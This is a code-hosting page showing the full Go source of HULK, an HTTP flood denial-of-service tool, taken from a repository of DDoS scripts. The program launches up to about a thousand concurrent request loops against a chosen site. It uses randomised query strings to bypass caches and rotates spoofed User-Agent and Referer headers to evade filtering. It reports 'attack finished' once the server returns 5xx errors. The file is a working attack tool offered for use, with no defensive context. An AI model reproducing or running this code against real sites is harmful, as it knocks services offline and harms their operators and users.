Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/Hulk.go
4607 views
1
package main
2
3
/*
4
HULK DoS tool on <strike>steroids</strike> goroutines. Just ported from Python with some improvements.
5
Original Python utility by Barry Shteiman http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/
6
This go program licensed under GPLv3.
7
Copyright Alexander I.Grafov <[email protected]>
8
*/
9
10
import (
11
"flag"
12
"fmt"
13
"io/ioutil"
14
"math/rand"
15
"net/http"
16
"net/url"
17
"os"
18
"os/signal"
19
"strconv"
20
"strings"
21
"sync/atomic"
22
"syscall"
23
)
24
25
const __version__ = "1.0.1"
26
27
// const acceptCharset = "windows-1251,utf-8;q=0.7,*;q=0.7" // use it for runet
28
const acceptCharset = "ISO-8859-1,utf-8;q=0.7,*;q=0.7"
29
30
const (
31
callGotOk uint8 = iota
32
callExitOnErr
33
callExitOnTooManyFiles
34
targetComplete
35
)
36
37
// global params
38
var (
39
safe bool = false
40
headersReferers []string = []string{
41
"http://www.google.com/?q=",
42
"http://www.usatoday.com/search/results?q=",
43
"http://engadget.search.aol.com/search?q=",
44
//"http://www.google.ru/?hl=ru&q=",
45
//"http://yandex.ru/yandsearch?text=",
46
}
47
headersUseragents []string = []string{
48
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
49
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Vivaldi/1.3.501.6",
50
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
51
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
52
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
53
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
54
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
55
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
56
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
57
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
58
"Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
59
"Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
60
"Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
61
}
62
cur int32
63
)
64
65
type arrayFlags []string
66
67
func (i *arrayFlags) String() string {
68
return "[" + strings.Join(*i, ",") + "]"
69
}
70
71
func (i *arrayFlags) Set(value string) error {
72
*i = append(*i, value)
73
return nil
74
}
75
76
func main() {
77
var (
78
version bool
79
site string
80
agents string
81
data string
82
headers arrayFlags
83
)
84
85
flag.BoolVar(&version, "version", false, "print version and exit")
86
flag.BoolVar(&safe, "safe", false, "Autoshut after dos.")
87
flag.StringVar(&site, "site", "http://localhost", "Destination site.")
88
flag.StringVar(&agents, "agents", "", "Get the list of user-agent lines from a file. By default the predefined list of useragents used.")
89
flag.StringVar(&data, "data", "", "Data to POST. If present hulk will use POST requests instead of GET")
90
flag.Var(&headers, "header", "Add headers to the request. Could be used multiple times")
91
flag.Parse()
92
93
t := os.Getenv("HULKMAXPROCS")
94
maxproc, err := strconv.Atoi(t)
95
if err != nil {
96
maxproc = 1023
97
}
98
99
u, err := url.Parse(site)
100
if err != nil {
101
fmt.Println("err parsing url parameter\n")
102
os.Exit(1)
103
}
104
105
if version {
106
fmt.Println("Hulk", __version__)
107
os.Exit(0)
108
}
109
110
if agents != "" {
111
if data, err := ioutil.ReadFile(agents); err == nil {
112
headersUseragents = []string{}
113
for _, a := range strings.Split(string(data), "\n") {
114
if strings.TrimSpace(a) == "" {
115
continue
116
}
117
headersUseragents = append(headersUseragents, a)
118
}
119
} else {
120
fmt.Printf("can'l load User-Agent list from %s\n", agents)
121
os.Exit(1)
122
}
123
}
124
125
go func() {
126
fmt.Println("-- HULK Attack Started --\n Go!\n\n")
127
ss := make(chan uint8, 8)
128
var (
129
err, sent int32
130
)
131
fmt.Println("In use |\tResp OK |\tGot err")
132
for {
133
if atomic.LoadInt32(&cur) < int32(maxproc-1) {
134
go httpcall(site, u.Host, data, headers, ss)
135
}
136
if sent%10 == 0 {
137
fmt.Printf("\r%6d of max %-6d |\t%7d |\t%6d", cur, maxproc, sent, err)
138
}
139
switch <-ss {
140
case callExitOnErr:
141
atomic.AddInt32(&cur, -1)
142
err++
143
case callExitOnTooManyFiles:
144
atomic.AddInt32(&cur, -1)
145
maxproc--
146
case callGotOk:
147
sent++
148
case targetComplete:
149
sent++
150
fmt.Printf("\r%-6d of max %-6d |\t%7d |\t%6d", cur, maxproc, sent, err)
151
fmt.Println("\r-- HULK Attack Finished -- \n\n\r")
152
os.Exit(0)
153
}
154
}
155
}()
156
157
ctlc := make(chan os.Signal)
158
signal.Notify(ctlc, syscall.SIGINT, syscall.SIGKILL, syscall.SIGTERM)
159
<-ctlc
160
fmt.Println("\r\n-- Interrupted by user -- \n")
161
}
162
163
func httpcall(url string, host string, data string, headers arrayFlags, s chan uint8) {
164
atomic.AddInt32(&cur, 1)
165
166
var param_joiner string
167
var client = new(http.Client)
168
169
if strings.ContainsRune(url, '?') {
170
param_joiner = "&"
171
} else {
172
param_joiner = "?"
173
}
174
175
for {
176
var q *http.Request
177
var err error
178
179
if data == "" {
180
q, err = http.NewRequest("GET", url+param_joiner+buildblock(rand.Intn(7)+3)+"="+buildblock(rand.Intn(7)+3), nil)
181
} else {
182
q, err = http.NewRequest("POST", url, strings.NewReader(data))
183
}
184
185
if err != nil {
186
s <- callExitOnErr
187
return
188
}
189
190
q.Header.Set("User-Agent", headersUseragents[rand.Intn(len(headersUseragents))])
191
q.Header.Set("Cache-Control", "no-cache")
192
q.Header.Set("Accept-Charset", acceptCharset)
193
q.Header.Set("Referer", headersReferers[rand.Intn(len(headersReferers))]+buildblock(rand.Intn(5)+5))
194
q.Header.Set("Keep-Alive", strconv.Itoa(rand.Intn(10)+100))
195
q.Header.Set("Connection", "keep-alive")
196
q.Header.Set("Host", host)
197
198
// Overwrite headers with parameters
199
200
for _, element := range headers {
201
words := strings.Split(element, ":")
202
q.Header.Set(strings.TrimSpace(words[0]), strings.TrimSpace(words[1]))
203
}
204
205
r, e := client.Do(q)
206
if e != nil {
207
fmt.Fprintln(os.Stderr, e.Error())
208
if strings.Contains(e.Error(), "socket: too many open files") {
209
s <- callExitOnTooManyFiles
210
return
211
}
212
s <- callExitOnErr
213
return
214
}
215
r.Body.Close()
216
s <- callGotOk
217
if safe {
218
if r.StatusCode >= 500 {
219
s <- targetComplete
220
}
221
}
222
}
223
}
224
225
func buildblock(size int) (s string) {
226
var a []rune
227
for i := 0; i < size; i++ {
228
a = append(a, rune(rand.Intn(25)+65))
229
}
230
return string(a)
231
}
232
233